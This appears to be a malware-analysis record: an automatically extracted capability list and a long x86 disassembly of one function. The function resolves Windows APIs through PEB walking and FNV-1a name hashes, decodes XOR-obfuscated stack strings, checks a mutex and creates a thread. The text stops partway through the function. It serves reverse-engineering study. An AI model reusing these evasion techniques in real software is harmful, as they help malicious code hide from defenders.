Function at 0x459370
Capabilities:
Access peb ldr_data
Authenticate hmac
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54ef08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xd48
push esi
push edi
push 0x25
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004d3980
mov dword [ebp - 0x24], eax
mov ecx, edx
shrd eax, ecx, 8
mov ecx, dword [ebp - 0x24]
movzx esi, al
mov eax, ecx
shrd eax, edx, 0x10
movzx eax, al
add esi, eax
movzx eax, cl
mov ecx, 0x583da4
add esi, eax
call fcn.00416090
push eax
call fcn.004412a7
add esp, 4
xor ecx, ecx
add esi, eax
call fcn.004e9280
sub eax, 0xffffff80
add eax, esi
push eax
call fcn.0043958c
add esp, 4
push 0x100
push 0
push 0x5860c0
call fcn.004359a0
add esp, 0xc
mov ecx, 0x583da4
call fcn.00402c80
push eax
mov ecx, 0x583da4
call fcn.00416090
push eax
push 0x5860c0
call fcn.00435260
add esp, 0xc
mov ecx, 0x5862dc
call fcn.00402c80
push eax
mov ecx, 0x5862dc
call fcn.00416090
push eax
push 0x586124
call fcn.00435260
add esp, 0xc
mov ecx, 0x583da4
call fcn.00416090
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x459461
sub eax, edx
mov ecx, 0x583da4
push eax
call fcn.00416090
push eax
lea ecx, [ebp - 0x230]
call fcn.00402d30
mov dword [ebp - 4], 0
mov ecx, 0x583da4
push eax
call fcn.004162c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.00402c90
mov ecx, 0x5863dc
call fcn.00416090
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4594b2
sub eax, edx
mov ecx, 0x5863dc
push eax
call fcn.00416090
push eax
lea ecx, [ebp - 0xa98]
call fcn.00402d30
mov dword [ebp - 4], 1
mov ecx, 0x5863dc
push eax
call fcn.004162c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa98]
call fcn.00402c90
mov ecx, 0x586550
call fcn.00416090
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x459503
sub eax, edx
mov ecx, 0x586550
push eax
call fcn.00416090
push eax
lea ecx, [ebp - 0xa80]
call fcn.00402d30
mov dword [ebp - 4], 2
mov ecx, 0x586550
push eax
call fcn.004162c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa80]
call fcn.00402c90
push 0x8000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x45dc10
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0045da50
test al, al
jne 0x459577
mov eax, 1
jmp 0x45da32
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push 0x80000041
call esi
test eax, eax
jne 0x45958f
push closesocket
call esi
xor ecx, ecx
call fcn.004e9280
push eax
call fcn.0043958c
mov dword [ebp - 0x18], 0x98c4e7e9
add esp, 4
mov dword [ebp - 0x14], 0x9fa430e0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x18], 0x61453c1a
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x604], ecx
lea ecx, [ebp - 0x610]
mov dword [ebp - 0x608], eax
call fcn.004132d0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4596f5
mov dword [ebp - 0x18], 0xc8e5a6ee
mov dword [ebp - 0x14], 0x9a847ba5
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x7a0], ecx
mov dword [ebp - 0x79c], edx
mov dword [ebp - 0x18], 0x15265904
mov dword [ebp - 0x14], 0x91eecdcb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x794], ecx
mov dword [ebp - 0x798], eax
mov dword [ebp - 0x18], 0xf0b15da3
mov dword [ebp - 0x14], 0x69cc810c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x78c], ecx
mov dword [ebp - 0x790], eax
mov dword [ebp - 0x18], 0x7b9c1eb7
mov dword [ebp - 0x14], 0xcab7cfa1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x784], ecx
mov dword [ebp - 0x788], eax
mov dword [ebp - 0x18], 0xd3479b17
mov dword [ebp - 0x14], 0xd4fbbc75
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x77c], ecx
mov dword [ebp - 0x780], eax
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x774], ecx
lea ecx, [ebp - 0x7a0]
mov dword [ebp - 0x778], eax
call fcn.00412ed0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4596f5
push 0
push 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0x70], 0
push eax
push 7
push 0
push 0
push 0x20
push 0
push 1
push 0
call dword [sym.imp.d3d11.dll_D3D11CreateDevice]
lea ecx, [ebp - 0x8b0]
call fcn.00408a00
mov dword [ebp - 4], 3
sub esp, 0x18
lea eax, [ebp - 0x8b0]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
mov edx, 0x1e8c53
lea ecx, [ebp - 0xa0]
call fcn.004e46e0
add esp, 0x18
mov byte [ebp - 4], 5
mov ecx, 0x586538
call fcn.00402c80
mov ecx, dword [ebp - 0xa0]
xor edi, edi
mov dword [ebp - 0x28], eax
mov edx, dword [ecx + 0x10]
sub edx, eax
je 0x459946
nop word [eax + eax]
call fcn.00416090
mov ecx, 0x586538
mov esi, dword [eax + edi]
mov eax, dword [eax + edi + 4]
mov dword [ebp - 0x24], eax
call fcn.00416090
cmp esi, dword [eax]
jne 0x4597b9
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [eax + 4]
jne 0x4597b9
lea ecx, [ebp - 0xa0]
call fcn.0041af40
mov ecx, eax
call fcn.00416090
mov ecx, 0x586538
mov esi, dword [eax + edi + 8]
mov eax, dword [eax + edi + 0xc]
mov dword [ebp - 0x24], eax
call fcn.00416090
cmp esi, dword [eax + 8]
jne 0x4597b9
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [eax + 0xc]
je 0x4597cf
mov ecx, dword [ebp - 0xa0]
inc edi
mov eax, dword [ecx + 0x10]
sub eax, dword [ebp - 0x28]
cmp edi, eax
jb 0x459760
jmp 0x459946
mov dword [ebp - 0x18], 0xc7f2b5fa
mov dword [ebp - 0x14], 0xd2a770b8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x614], ecx
lea ecx, [ebp - 0x620]
mov dword [ebp - 0x618], eax
call fcn.004132d0
mov dword [ebp - 0x18], 0xdae9bcf9
mov esi, eax
mov dword [ebp - 0x14], 0x9cb26ef1
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x7e0], ecx
mov dword [ebp - 0x7dc], edx
mov dword [ebp - 0x18], 0xc244e11
mov dword [ebp - 0x14], 0x80ace0d8
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x7d8], ecx
mov dword [ebp - 0x7d4], eax
mov dword [ebp - 0x18], 0xf0b11886
mov dword [ebp - 0x14], 0x35f9911d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x7cc], ecx
mov dword [ebp - 0x7d0], eax
mov dword [ebp - 0x18], 0x3b737f8
mov dword [ebp - 0x14], 0x8f86e99f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x7c4], ecx
mov dword [ebp - 0x7c8], eax
mov dword [ebp - 0x18], 0xda459713
mov dword [ebp - 0x14], 0xa3dbc519
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x7bc], ecx
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x18], 0xd03b0cb
mov dword [ebp - 0x14], 0x724de9e8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x7b4], ecx
mov dword [ebp - 0x7b8], eax
mov dword [ebp - 0x18], 0x15ff06de
mov dword [ebp - 0x14], 0x384f8fa7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x7ac], ecx
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x18], 0x2a733ec
mov dword [ebp - 0x14], 0xcada8fba
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x7a4], ecx
lea ecx, [ebp - 0x7e0]
mov dword [ebp - 0x7a8], eax
call fcn.00412710
push 0x14
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x459940
lea esi, [eax + 6]
jmp 0x45d9f4
mov ecx, dword [ebp - 0xa0]
push 0
call fcn.00418ad0
mov esi, dword [0x582b2c]
mov edi, dword [0x582b28]
push 0
push 3
push esi
push edi
call fcn.00458650
add eax, dword [0x582b30]
mov ecx, eax
mov dword [ebp - 0x44], eax
adc edx, dword [0x582b34]
xor ecx, edi
mov eax, edx
mov dword [ebp - 0x24], edx
xor eax, esi
or ecx, eax
je 0x459993
sub edi, dword [ebp - 0x44]
mov dword [0x582b28], edi
sbb esi, edx
mov dword [0x582b2c], esi
test esi, esi
jg 0x4599ab
jl 0x4599ab
cmp edi, 0x1b3
ja 0x4599ab
test esi, esi
jg 0x4599c2
jl 0x4599ab
test edi, edi
jae 0x4599c2
xorps xmm0, xmm0
movlpd qword [0x582b28], xmm0
mov esi, dword [0x582b2c]
mov edi, dword [0x582b28]
push 0
push 3
push esi
push edi
call fcn.00458650
add eax, dword [ebp - 0x44]
mov ecx, eax
mov dword [ebp - 0x28], eax
adc edx, dword [ebp - 0x24]
xor ecx, edi
mov dword [0x582b30], eax
mov eax, edx
xor eax, esi
mov dword [0x582b34], edx
or ecx, eax
je 0x4599fe
sub edi, dword [ebp - 0x28]
mov dword [0x582b28], edi
sbb esi, edx
mov dword [0x582b2c], esi
test esi, esi
jg 0x459a16
jl 0x459a16
cmp edi, 0x1b3
ja 0x459a16
test esi, esi
jg 0x459a21
jl 0x459a16
test edi, edi
jae 0x459a21
xorps xmm0, xmm0
movlpd qword [0x582b28], xmm0
push 0xa9be
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [ebp - 0x18], 0xccf5a6d9
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x62c], ecx
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
mov dword [ebp - 0x624], ecx
push ecx
lea ecx, [ebp - 0x630]
mov dword [ebp - 0x628], eax
call fcn.004132d0
add esp, 4
mov ecx, 0x5862f4
push eax
call fcn.00415ff0
test eax, eax
jne 0x459bd0
call fcn.004d3630
test al, al
je 0x459b27
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x28], ecx
cmp ecx, esi
je 0x459b23
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x459b23
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x459b19
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x459af8
cmp esi, 0xe80fd3a
je 0x459bb3
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x459ae0
mov eax, dword [eax]
jmp 0x459ab0
call fcn.004d3430
test al, al
jne 0x459bd0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x28], ecx
cmp ecx, esi
je 0x459baf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x459baf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x459ba5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x459b88
cmp esi, 0xe80fd3a
je 0x459bb3
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x459b70
mov eax, dword [eax]
jmp 0x459b40
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [ebp - 0x18], 0xccf5a6d9
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
mov dword [ebp - 0x2a4], ecx
push ecx
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x2a8], eax
call fcn.004132d0
add esp, 4
mov ecx, 0x583d8c
push eax
call fcn.00415ff0
test eax, eax
jne 0x459d08
call fcn.004d3340
mov byte [ebp - 0x51], al
call fcn.004d2d20
mov byte [ebp - 0x39], al
call fcn.004d2a20
cmp byte [ebp - 0x51], 0
jne 0x459c66
cmp byte [ebp - 0x39], 0
jne 0x459c66
test al, al
jne 0x459c66
call fcn.004d3470
test al, al
je 0x459d08
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x28], ecx
cmp ecx, esi
je 0x459ce7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x459ce7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x459cdd
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x459cc0
cmp esi, 0xe80fd3a
je 0x459ceb
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x459ca2
mov eax, dword [eax]
jmp 0x459c72
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov dword [ebp - 0x18], 0xccf5a6d9
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
mov dword [ebp - 0x2b4], ecx
push ecx
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x2b8], eax
call fcn.004132d0
add esp, 4
mov ecx, 0x5864d0
push eax
call fcn.00415ff0
test eax, eax
jne 0x459d70
lea ecx, [eax + 1]
call fcn.004d09b0
mov dword [ebp - 0x18], 0xccf5a6d9
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
mov dword [ebp - 0x2c4], ecx
push ecx
lea ecx, [ebp - 0x2d0]
mov dword [ebp - 0x2c8], eax
call fcn.004132d0
add esp, 4
mov ecx, 0x5864b8
push eax
call fcn.00415ff0
test eax, eax
jne 0x459dd5
call fcn.004ccaa0
mov dword [ebp - 0x18], 0xccf5a6d9
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
mov dword [ebp - 0x2d4], ecx
push ecx
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x2d8], eax
call fcn.004132d0
add esp, 4
mov ecx, 0x586268
push eax
call fcn.00415ff0
mov esi, dword [0x582b2c]
mov edi, dword [0x582b28]
push 0
push 3
push esi
push edi
mov dword [ebp - 0x44], eax
call fcn.00458650
add eax, dword [0x582b30]
mov ecx, eax
mov dword [ebp - 0x24], eax
adc edx, dword [0x582b34]
xor ecx, edi
mov dword [0x582b30], eax
mov eax, esi
xor eax, edx
mov dword [0x582b34], edx
or ecx, eax
je 0x459e82
sub edi, dword [ebp - 0x24]
mov dword [0x582b28], edi
sbb esi, edx
mov dword [0x582b2c], esi
test esi, esi
jg 0x459e9a
jl 0x459e9a
cmp edi, 0x1b3
ja 0x459e9a
test esi, esi
jg 0x459ea5
jl 0x459e9a
test edi, edi
jae 0x459ea5
xorps xmm0, xmm0
movlpd qword [0x582b28], xmm0
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push 0x80000041
call esi
test eax, eax
jne 0x459ebd
push closesocket
call esi
mov dword [ebp - 0x18], 0xc1eebdda
mov dword [ebp - 0x14], 0xddb06aa5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x18], 0x61295012
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2e4], ecx
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 0x2e8], eax
call fcn.004132d0
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x50], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov edi, dword [ecx + 0x18]
mov dword [ebp - 0x34], edi
mov edx, dword [edi + 0x3c]
mov esi, dword [edx + edi + 0x78]
mov eax, dword [edx + edi + 0x7c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], esi
lea eax, [esi + edi]
mov dword [ebp - 0x28], eax
cmp eax, edi
je 0x459f97
mov edi, dword [eax + 0x18]
test edi, edi
je 0x459f97
mov eax, dword [eax + 0x20]
mov esi, dword [ecx + 0x18]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x24], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x459f8d
nop dword [eax + eax]
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x459f70
cmp esi, 0x53b2070f
je 0x459f9b
mov eax, dword [ebp - 0x24]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x459f53
mov ecx, dword [ecx]
jmp 0x459f20
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push dword [ebp - 0x50]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
test eax, eax
jne 0x459fc4
xor esi, esi
jmp 0x45d9f4
mov dword [ebp - 0x18], 0xe0ce9dfa
mov dword [ebp - 0x14], 0xdd945b9f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x18], 0x61097032
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2f4], ecx
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x2f8], eax
call fcn.004132d0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004eb500
mov dword [ebp - 0x18], 0xa980d497
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0
mov dword [ebp - 0x304], ecx
push ecx
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x308], eax
call fcn.004132d0
add esp, 4
mov ecx, 0x5862dc
push eax
call fcn.00415ff0
cmp eax, 0xffffffff
je 0x45a15c
mov dword [ebp - 0x18], 0xa980d497
sub esp, 0x18
mov dword [ebp - 0x14], 0xf3c01ed1
mov esi, esp
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x314], ecx
lea ecx, [ebp - 0x320]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x2c], esp
call fcn.004132d0
push eax
mov ecx, esi
call fcn.00402cf0
mov byte [ebp - 4], 6
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x30], esp
push 0x5862dc
call fcn.004163b0
mov byte [ebp - 4], 7
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x254]
call fcn.004e3880
add esp, 0x30
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x254]
call fcn.00415220
cmp eax, 2
jne 0x45a14d
push 1
lea ecx, [ebp - 0x254]
call fcn.00415200
push eax
mov ecx, 0x586328
call fcn.00416290
push 0
lea ecx, [ebp - 0x254]
call fcn.00415200
push eax
mov ecx, 0x5862dc
call fcn.00416290
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x254]
call fcn.00415340
push 0
push 0
push 0
push 0x4c4eb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x582b24], 0xffffffff
jne 0x45a23d
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x28], ecx
cmp ecx, esi
je 0x45a20f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x45a20f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x45a205
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x45a1e8
cmp esi, 0x2fa62ca8
je 0x45a213
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x45a1d0
mov eax, dword [eax]
jmp 0x45a1a0
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x582b24], 0xffffffff
je 0x45a190
mov dword [ebp - 0x18], 0xa9808ef7
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x324], ecx
lea ecx, [ebp - 0x330]
mov dword [ebp - 0x328], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0x1f0]
call fcn.00402cf0
mov byte [ebp - 4], 9
mov ecx, 0x104
lea eax, [ebp - 0xd50]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45a2a3
lea eax, [ebp - 0xd50]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xc
lea ecx, [ebp - 0x85c]
call fcn.004e3750
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x18], 0xd1e9a6d9
mov dword [ebp - 0x14], 0xf3c01ea8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x334], ecx
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x338], eax
call fcn.004132d0
push eax
lea ecx, [ebp - 0xa38]
call fcn.00402cf0
mov byte [ebp - 4], 0xb
lea edx, [ebp - 0xd50]
push eax
lea ecx, [ebp - 0xa50]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x85c]
push ecx
mov edx, eax
lea ecx, [ebp - 0xa68]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xd
mov ecx, 0x583d74
push eax
call fcn.004162c0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xa68]
call fcn.00402c90
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xa50]
call fcn.00402c90
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xa38]
call fcn.00402c90
mov dword [ebp - 0x18], 0xc7e1a4de
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x344], ecx
lea ecx, [ebp - 0x350]
